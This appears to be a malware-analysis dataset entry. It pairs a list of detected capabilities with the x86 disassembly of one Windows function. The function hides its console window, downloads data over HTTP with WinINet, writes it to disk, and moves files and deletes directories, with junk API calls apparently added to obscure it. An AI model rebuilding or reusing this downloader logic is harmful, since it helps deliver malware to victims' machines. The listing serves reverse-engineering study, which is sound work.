Function at 0x402990
Capabilities:
Accept command line arguments
Check http status code
Copy file
Create http request
Delete directory
Download and write a file
Get disk information
Get file attributes
Get memory capacity
Hide graphical window
Identify system language via api
Move file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x51dfcb
mov eax, dword fs:[0]
push eax
sub esp, 0x278
mov eax, dword [0x569600]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push str.jr0
mov dword [ebp - 0x260], eax
mov dword [ebp - 0x26c], ecx
mov dword [ebp - 0x268], edx
call edi
push eax
call dword [sym.imp.USER32.dll_SetWindowTextA]
call edi
mov ebx, dword [sym.imp.USER32.dll_UpdateWindow]
push eax
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentThread]
lea eax, [ebp - 0x240]
push eax
mov dword [ebp - 0x238], 0
call esi
push eax
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
push 0
push 0
push 0
push 0
push SysReAllocStringLen
push SysReAllocStringLen
push SysReAllocStringLen
push SysReAllocStringLen
push 0xcf0000
push str.Y
push 0x54afc4
push 0
mov dword [ebp - 0x23c], 0
call dword [sym.imp.USER32.dll_CreateWindowExA]
call edi
push eax
call ebx
push 0xffffffffffffffeb
call edi
push eax
call dword [sym.imp.USER32.dll_GetWindowLongW]
mov dword [ebp - 0x248], 0
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push 0
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
lea ecx, [ebp - 0x240]
push ecx
call esi
push eax
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
push 0
call edi
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
lea edx, [ebp - 0x134]
push edx
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
push 0
call edi
mov ebx, dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push eax
call ebx
push 0
push 0
push 0
push 0
push SysReAllocStringLen
push SysReAllocStringLen
push SysReAllocStringLen
push SysReAllocStringLen
push 0xcf0000
push str.fC
push str.9N
push 0
call dword [sym.imp.USER32.dll_CreateWindowExA]
lea eax, [ebp - 0x240]
push eax
call edi
push eax
call ebx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
lea ecx, [ebp - 0x194]
push ecx
push 0
mov dword [ebp - 0x258], 0
call dword [sym.imp.KERNEL32.dll_GetCPInfo]
call dword [sym.imp.KERNEL32.dll_GetACP]
mov ebx, dword [sym.imp.USER32.dll_LoadIconA]
push 0x54afe8
push 0
call ebx
push str.LmU
push 0
call ebx
push 0
push 0x100
lea edx, [ebp - 0x114]
push edx
push 0
push 0x23c4
push 0
push 0x1000
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
push 4
call edi
push eax
call dword [sym.imp.USER32.dll_GetWindow]
lea eax, [ebp - 0x180]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
push 0x54b000
push 0
mov dword [ebp - 0x25c], 4
call dword [sym.imp.USER32.dll_LoadCursorA]
push 0
push 0x190f
push 0x78
call edi
push eax
call dword [sym.imp.USER32.dll_SetTimer]
push 1
push 0x198
push 0x3aa
push 0x3de
push 0x3a4
call edi
push eax
call dword [sym.imp.USER32.dll_MoveWindow]
push str.x
push 0
call ebx
push 0
push str.._UO
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push str.._6c
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push 0
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
lea ecx, [ebp - 0x240]
push ecx
mov dword [ebp - 0x254], 1
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_IsWow64Process]
push 0
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x402c16
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentThread]
cmp dword [ebp - 0x254], 0
je 0x402c65
lea edx, [ebp - 0x180]
push edx
mov dword [ebp - 0x254], 0
call edi
push eax
call dword [sym.imp.USER32.dll_GetClientRect]
push 0x326
call dword [sym.imp.KERNEL32.dll_SetLastError]
push 1
push 0x310
push 0x362
push 0x368
push 0x327
call edi
push eax
call dword [sym.imp.USER32.dll_MoveWindow]
jmp 0x402c9a
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x274]
push eax
call esi
push eax
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
push 0
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push 0
call edi
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
xor esi, esi
mov dword [ebp - 0x250], esi
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea ecx, [ebp - 0x278]
push ecx
mov dword [ebp - 0x244], esi
call edi
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
lea edx, [ebp - 0x1c4]
push edx
call edi
push eax
call dword [sym.imp.USER32.dll_GetWindowRect]
xor eax, eax
push 0xffffffffffffffeb
mov byte [ebp - 0x134], 0
mov dword [ebp - 0x133], eax
mov dword [ebp - 0x12f], eax
mov dword [ebp - 0x12b], eax
mov dword [ebp - 0x127], eax
mov dword [ebp - 0x123], eax
mov dword [ebp - 0x11f], eax
mov dword [ebp - 0x11b], eax
mov word [ebp - 0x117], ax
mov byte [ebp - 0x115], al
call edi
push eax
call dword [sym.imp.USER32.dll_GetWindowLongW]
push esi
push esi
push esi
push esi
push SysReAllocStringLen
push SysReAllocStringLen
push SysReAllocStringLen
push SysReAllocStringLen
push 0xcf0000
push str.Q0
push 0x54b03c
push esi
call dword [sym.imp.USER32.dll_CreateWindowExA]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultUILanguage]
push 0x1aa
mov dword [ebp - 0x264], 0x20
call dword [sym.imp.KERNEL32.dll_SetLastError]
push str.91
call edi
push eax
call dword [sym.imp.USER32.dll_SetWindowTextA]
lea eax, [ebp - 0x1e4]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
push esi
call dword [sym.imp.KERNEL32.dll_ResetEvent]
lea ecx, [ebp - 0x214]
push ecx
call edi
push eax
call dword [sym.imp.USER32.dll_GetClientRect]
lea edx, [ebp - 0x170]
push edx
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push esi
push esi
push esi
push 1
push str.test
call dword [sym.imp.WININET.dll_InternetOpenA]
push esi
push 0x44
push esi
mov dword [ebp - 0x24c], eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
push esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push esi
push 0x156
push 0x6e
call edi
push eax
call dword [sym.imp.USER32.dll_SetTimer]
lea eax, [ebp - 0x148]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetCPInfo]
mov dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x24c], esi
je 0x403089
mov eax, dword [ebp - 0x260]
push esi
push SysReAllocStringLen
push esi
push esi
call fcn.00402370
mov ecx, dword [ebp - 0x24c]
push eax
push ecx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
push esi
mov dword [ebp - 0x238], eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
lea edx, [ebp - 0x280]
push edx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_IsWow64Process]
mov dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x238], esi
je 0x403089
mov edx, dword [ebp - 0x238]
push esi
lea eax, [ebp - 0x25c]
push eax
lea ecx, [ebp - 0x258]
push ecx
push 0x20000013
push edx
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
lea eax, [ebp - 0x234]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
push esi
push str.._W
push str.._p
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0x54b06c
call edi
push eax
call dword [sym.imp.USER32.dll_SetWindowTextA]
push esi
call edi
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push 0xfffffffffffffff0
call edi
push eax
call dword [sym.imp.USER32.dll_GetWindowLongW]
mov dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x258], 0xc8
jne 0x403089
mov eax, dword [ebp - 0x238]
push esi
lea ecx, [ebp - 0x264]
push ecx
lea edx, [ebp - 0x134]
push edx
push 5
push eax
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
push 0x12ae
call edi
push eax
call dword [sym.imp.USER32.dll_KillTimer]
push esi
call dword [sym.imp.KERNEL32.dll_SetEvent]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
call edi
push eax
call dword [sym.imp.USER32.dll_UpdateWindow]
lea ecx, [ebp - 0x134]
push ecx
call fcn.004fc5ae
add esp, 4
push esi
push esi
push esi
push esi
push SysReAllocStringLen
push SysReAllocStringLen
push SysReAllocStringLen
push SysReAllocStringLen
push 0xcf0000
push str.fkP
push str.GvY
push esi
mov ebx, eax
call dword [sym.imp.USER32.dll_CreateWindowExA]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 4], 0xffffffff
test ebx, ebx
je 0x403083
push ebx
call fcn.004049d1
add esp, 4
lea edx, [ebp - 0x1a4]
push edx
mov dword [ebp - 0x23c], eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
lea eax, [ebp - 0x1d4]
push eax
call edi
push eax
call dword [sym.imp.USER32.dll_GetWindowRect]
call edi
push eax
call dword [sym.imp.USER32.dll_UpdateWindow]
push str.._4
push str.._Cj
call dword [sym.imp.KERNEL32.dll_MoveFileA]
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
push esi
call edi
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov eax, dword [ebp - 0x238]
lea ecx, [ebp - 0x250]
push ecx
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x23c]
push ebx
push edx
push eax
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x40305b
mov eax, dword [ebp - 0x250]
test eax, eax
je 0x403055
push 0x1ad
add esi, eax
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea ecx, [ebp - 0x270]
push ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
lea edx, [ebp - 0x27c]
push edx
call edi
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push 0
call edi
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
lea eax, [ebp - 0x250]
push eax
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x23c]
mov ecx, ebx
sub ecx, esi
push ecx
mov ecx, dword [ebp - 0x238]
lea eax, [esi + edx]
push eax
push ecx
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x402fe1
mov dword [ebp - 0x244], esi
cmp esi, ebx
jne 0x403083
push 0
mov dword [ebp - 0x248], 1
call edi
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov dword [ebp - 4], 0xffffffff
mov ebx, dword [sym.imp.USER32.dll_LoadIconA]
jmp 0x403096
mov ebx, dword [sym.imp.USER32.dll_LoadIconA]
cmp dword [ebp - 0x248], 0
je 0x4032e5
mov edx, dword [ebp - 0x26c]
push 0x54b0b0
push edx
lea eax, [ebp - 0x16c]
push eax
call fcn.00402530
add esp, 0xc
push eax
mov eax, dword [ebp - 0x268]
lea esi, [ebp - 0x150]
mov dword [ebp - 4], 0x36
call fcn.00403420
add esp, 4
cmp dword [eax + 0x14], 0x10
jb 0x4030d5
mov eax, dword [eax]
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp dword [ebp - 0x13c], 0x10
mov esi, eax
jb 0x403108
mov ecx, dword [ebp - 0x150]
push ecx
call fcn.004049c6
add esp, 4
cmp dword [ebp - 0x158], 0x10
mov dword [ebp - 0x13c], 0xf
mov dword [ebp - 0x140], 0
mov byte [ebp - 0x150], 0
jb 0x40313b
mov edx, dword [ebp - 0x16c]
push edx
call fcn.004049c6
add esp, 4
push 0
mov dword [ebp - 0x158], 0xf
mov dword [ebp - 0x15c], 0
mov byte [ebp - 0x16c], 0
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
call dword [sym.imp.KERNEL32.dll_GetACP]
push 0
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push 0
push 0x56
push 0x1d
push 0
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreW]
mov dword [ebp - 4], 0xffffffff
cmp esi, 0xffffffff
je 0x403299
lea edx, [ebp - 0x244]
lea ecx, [ebp - 0x23c]
call fcn.00402610
lea eax, [ebp - 0x224]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
push 0
call edi
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push 0
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
push 0
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push str.5gw
push 0
call ebx
mov edx, dword [ebp - 0x244]
mov eax, dword [ebp - 0x23c]
push 0
lea ecx, [ebp - 0x240]
push ecx
push edx
push eax
push esi
mov dword [ebp - 0x240], 0
call dword [sym.imp.KERNEL32.dll_WriteFile]
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push 0
push 0
push 0
push 0
push SysReAllocStringLen
push SysReAllocStringLen
push SysReAllocStringLen
push SysReAllocStringLen
push 0xcf0000
push str.HX
push str.D89
push 0
call dword [sym.imp.USER32.dll_CreateWindowExA]
push 0
push 8
push 0x1b
push 0
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreW]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultUILanguage]
push str.._aQe
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
lea ecx, [ebp - 0x204]
push ecx
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x54b0ec
call edi
push eax
call dword [sym.imp.USER32.dll_SetWindowTextA]
push str.q
push 0
call ebx
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
jmp 0x4032de
mov dword [ebp - 0x248], 0
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0x54b104
push 0
call ebx
mov esi, dword [sym.imp.USER32.dll_GetDC]
push 0
call esi
push eax
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push str.._c
push str.._rwI
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0
call esi
push eax
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x23c]
test eax, eax
je 0x40333d
push eax
call fcn.004049c6
mov esi, dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
add esp, 4
push str.._aZh
call esi
push str.._XG7
call esi
push 1
push 0x36e
push 0x318
push 0x393
push 0x39b
call edi
push eax
call dword [sym.imp.USER32.dll_MoveWindow]
push 0xffffffffffffffeb
call edi
push eax
call dword [sym.imp.USER32.dll_GetWindowLongW]
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x238]
test eax, eax
je 0x40339e
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push str.R
push 0
call ebx
lea edx, [ebp - 0x204]
push edx
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
push 0
push 0
push 0
push 0
push SysReAllocStringLen
push SysReAllocStringLen
push SysReAllocStringLen
push SysReAllocStringLen
push 0xcf0000
push str.FgB
push 0x54b158
push 0
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x24c]
test eax, eax
je 0x4033ed
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push str.IOn
push 0
call ebx
lea eax, [ebp - 0x1b4]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
lea ecx, [ebp - 0x284]
push ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
lea edx, [ebp - 0x190]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
mov dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x248], 0
je 0x402c10
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.004fbd04
mov esp, ebp
pop ebp
ret